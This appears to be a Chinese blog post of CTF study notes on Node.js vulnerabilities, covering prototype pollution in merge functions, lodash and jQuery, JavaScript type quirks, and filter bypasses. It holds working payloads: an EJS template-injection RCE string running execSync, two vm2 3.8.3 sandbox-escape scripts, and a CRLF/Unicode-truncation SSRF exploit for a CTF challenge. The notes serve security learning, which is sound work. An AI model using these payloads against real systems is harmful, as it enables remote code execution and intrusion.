• Node.js 相关安全问题


    通用

    拿到package.json首先npm audit看看依赖库有没有漏洞

    原型链污染

    漏洞特征

    深入理解 JavaScript Prototype 污染攻击
    以下内容出自p神的文章

    我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

    • 对象merge
    • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
      以对象merge为例,我们想象一个简单的merge函数:
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    

    express框架如果use(bodyParser.json())或者use(express.json()),支持通过content-type接收JSON输入,我们改为application/json直接输入json数据。

    ejs

    Express+lodash+ejs: 从原型链污染到RCE
    ejsrender渲染中有大量代码拼接

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '
    ';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '
    ';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '
    ';
        appended += '  }' + '
    ';
      }
      appended += '  return __output.join("");' + '
    ';
      this.source = prepended + this.source + appended;
    }
    

    如果能覆盖opts.outputFunctionName,这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
    a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

    同理,覆盖escapeFn也可以

    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '
    ' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '
    ' + src;
      }
    }
    

    lodash

    CVE-2019-10744
    lodash.defaultsDeep(obj,JSON.parse(objstr));
    只需要有objstr

    {"content":{"prototype":{"constructor":{"a":"b"}}}}
    

    在合并时便会在Object上附加a=b这样一个属性

    JQuery

    $.extend(deep,clone,copy)会执行一个merge操作,如果copy中有名为__proto__的属性,则会向上影响原型

    JavaScript特性

    JavaScript大小写特性

    Node.js 常见漏洞学习与总结

    • 字符ıſ 经过toUpperCase处理后结果为 IS
    • 字符经过toLowerCase处理后结果为k(这个K不是K)

    js弱类型

    • ==比较
    type {} [] 0 1 "" true false undefined
    {} true false false false false false false false
    [] false true true false true false true false
    0 false true true false true false true false
    1 false false false true false true false false
    "" false true true false true false true false
    true false false false true false true false false
    false false true true false true false true false
    undefined false false false false false false false true
    • +
      • 如果两个操作数都是字符串,则将第二个操作数与第一个操作数拼接起来
      • 如果只有一个操作数是字符串,则将另一个操作数转换为字符串,然后再将两个字符串拼接
      • 如果有一个操作数是对象、数值或布尔值,则调用它们的toString()方法取得相应的字符串
      • 对于undefinednull,则分别调用String()函数并取得字符串"undefined""null"

    乱七八糟

    HackTM中一道Node.js题分析(Draw with us)

    js中的对象只能使用String类型作为键类型,什么别的类型传进去就要做一次toString()

    function checkRights(arr) {
      let blacklist = ["p", "n", "port"];
      for (let i = 0; i < arr.length; i++) {
        const element = arr[i];
        if (blacklist.includes(element)) {
          return false;
        }
      }
      return true;
    }
    

    sort()方法用原地算法对数组的元素进行排序,并返回数组。默认排序顺序是在将元素转换为字符串,然后比较它们的UTF-16代码单元值序列时构建的

    const array1 = [1, 30, 4, 21, 100000];
    array1.sort();
    console.log(array1);
    // expected output: Array [1, 100000, 21, 30, 4]
    

    多字节编码截断

    通过拆分攻击实现的SSRF攻击

    虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

    > Buffer.from('http://example.com/u010Du010A/test', 'latin1').toString()
    'http://example.com/
    /test'
    

    例题:[GYCTF2020]Node Game
    利用Nodejs 10以下http模块存在的编码问题和crlf注入达到ssrf

    import urllib.parse
    import requests
    
    payload = ''' HTTP/1.1
    Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
    Connection: close
    
    POST /file_upload HTTP/1.1
    Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
    Content-Length: 292
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
    Connection: close
    
    ------WebKitFormBoundaryoirYAr4M13lFjhnC
    Content-Disposition: form-data; name="file"; filename="shell.pug"
    Content-Type: ../template
    
    doctype html
    html
        head
            title flag
        body
            include ../../../../../../../../flag.txt
    ------WebKitFormBoundaryoirYAr4M13lFjhnC--
    
    
    
    GET / HTTP/1.1
    Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
    Connection: close
    x:'''
    payload = payload.replace("
    ", "
    ")
    payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
    print(payload)
    r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
    print(r.text)
    

    vm沙箱逃逸

    Buffer leak

    在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

    vm2v3.8.3

    Breakout in v3.8.3 #225

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
    	TypeError.prototype.get_process = f=>f.constructor("return process")();
    	try{
    		Object.preventExtensions(Buffer.from("")).a = 1;
    	}catch(e){
    		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    	}
    }+')()';
    try{
    	console.log(new VM().run(untrusted));
    }catch(x){
    	console.log(x);
    }
    

    或者

    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
    	try{
    		Buffer.from(new Proxy({}, {
    			getOwnPropertyDescriptor(){
    				throw f=>f.constructor("return process")();
    			}
    		}));
    	}catch(e){
    		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    	}
    }+')()';
    try{
    	console.log(new VM().run(untrusted));
    }catch(x){
    	console.log(x);
    }
    

    bypass

    • 过滤关键词,可以使用`,例如`${`${`prototyp`}e`}`
    • 对象的属性可以用object['attr'],也可以object.attr
    • String.fromCharCode()可以将数字和字母转换

    参考链接

    Node.js 常见漏洞学习与总结
    i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp
    Javascript 原型链污染 分析
    https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

  • 相关阅读:
    操纵持久化对象
    面阵和线扫工业相机选型
    线扫描镜头简介及选型
    Halcon的anisotropic_diffusion()函数,用于对图像进行各向异性散射增强处理
    VB、C#等高级语言与三菱PLC(Q系列、L系列、FX系列、A系列)串口、以太网通讯的DLL及源代码
    Halcon学习笔记之支持向量机
    C#中使用byte[]数据,生成Bitmap(256色 灰度 BMP位图)源代码
    Halcon学习SVM
    利用MLP(多层感知器)创建一个新的OCR分级器
    Halcon中OCR的实现及关键函数解析
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12659738.html
Copyright © 2020-2023  润新知